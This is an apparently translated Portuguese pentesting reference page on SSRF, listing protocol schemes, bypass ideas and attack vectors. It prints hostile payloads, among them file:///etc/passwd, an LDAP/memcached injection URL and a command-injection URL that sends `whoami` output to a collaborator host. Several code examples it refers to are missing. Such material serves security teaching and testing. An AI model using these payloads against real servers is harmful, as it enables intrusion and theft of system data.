SSRF (Server Side Request Forgery)
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:
Informações Básicas
Uma vulnerabilidade de Server-side Request Forgery (SSRF) ocorre quando um atacante manipula uma aplicação do lado do servidor para fazer requisições HTTP para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
Captura de SSRF
A primeira coisa que você precisa fazer é capturar uma interação SSRF gerada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Um Burp Collaborator usando ngrok
Bypass de Domínios na Lista Branca
Normalmente, você descobrirá que o SSRF está funcionando apenas em certos domínios ou URLs na lista branca. Na página a seguir, você tem uma compilação de técnicas para tentar burlar essa lista branca:
pageURL Format BypassBypass via redirecionamento aberto
Se o servidor estiver corretamente protegido, você poderá burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web. Como a página da web permitirá SSRF para o mesmo domínio e provavelmente seguirá os redirecionamentos, você pode explorar o Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno. Leia mais aqui: https://portswigger.net/web-security/ssrf
Protocolos
file://
O esquema de URL
file://
é referenciado, apontando diretamente para/etc/passwd
:file:///etc/passwd
dict://
O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso:
url=sftp://generic.com:11111/
TFTP://
O Protocolo de Transferência de Arquivos Triviais, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma solicitação a um servidor TFTP. Uma solicitação TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Este segmento abrange o Protocolo de Acesso a Diretórios Leves, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos em redes IP. Interaja com um servidor LDAP em localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Um método é descrito para explorar vulnerabilidades de SSRF para interagir com serviços SMTP em localhost, incluindo etapas para revelar nomes de domínio internos e ações investigativas adicionais com base nessas informações.
Curl URL globbing - Bypassando WAF
Se o SSRF for executado pelo curl, o curl possui um recurso chamado URL globbing que poderia ser útil para contornar WAFs. Por exemplo, neste writeup você pode encontrar este exemplo de travessia de caminho via protocolo
file
:
Gopher://
A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. São ilustrados dois usos distintos:
Gopher://
Usando este protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Em seguida, você pode basicamente explorar um SSRF para comunicar com qualquer servidor TCP (mas você precisa saber como falar com o serviço primeiro). Felizmente, você pode usar Gopherus para criar payloads para vários serviços. Além disso, remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.
Gopher smtp
Gopher HTTP
Gopher SMTP — Conexão de retorno para 1337
Gopher MongoDB -- Criar usuário com nome de usuário=admin com senha=admin123 e com permissão=administrador
SSRF via cabeçalho Referrer e Outros
O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente as aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, é aconselhável usar o plugin "Collaborator Everywhere" do Burp Suite, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF.
SSRF via dados SNI do certificado
Uma configuração incorreta que poderia permitir a conexão a qualquer backend por meio de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao Ataque de Solicitação Falsificada do Lado do Servidor (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como internal.host.com
, usando o comando openssl
, é fornecido abaixo:
SSRF com Injeção de Comando
Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderização de PDFs
Se a página da web estiver criando automaticamente um PDF com algumas informações que você forneceu, você pode inserir algum JS que será executado pelo próprio criador de PDF (o servidor) ao criar o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.
De SSRF para DoS
Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.
Funções PHP SSRF
pagePHP SSRFRedirecionamento SSRF para Gopher
Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:
Proxies mal configurados para SSRF
Truques deste post.
Flask
Last updated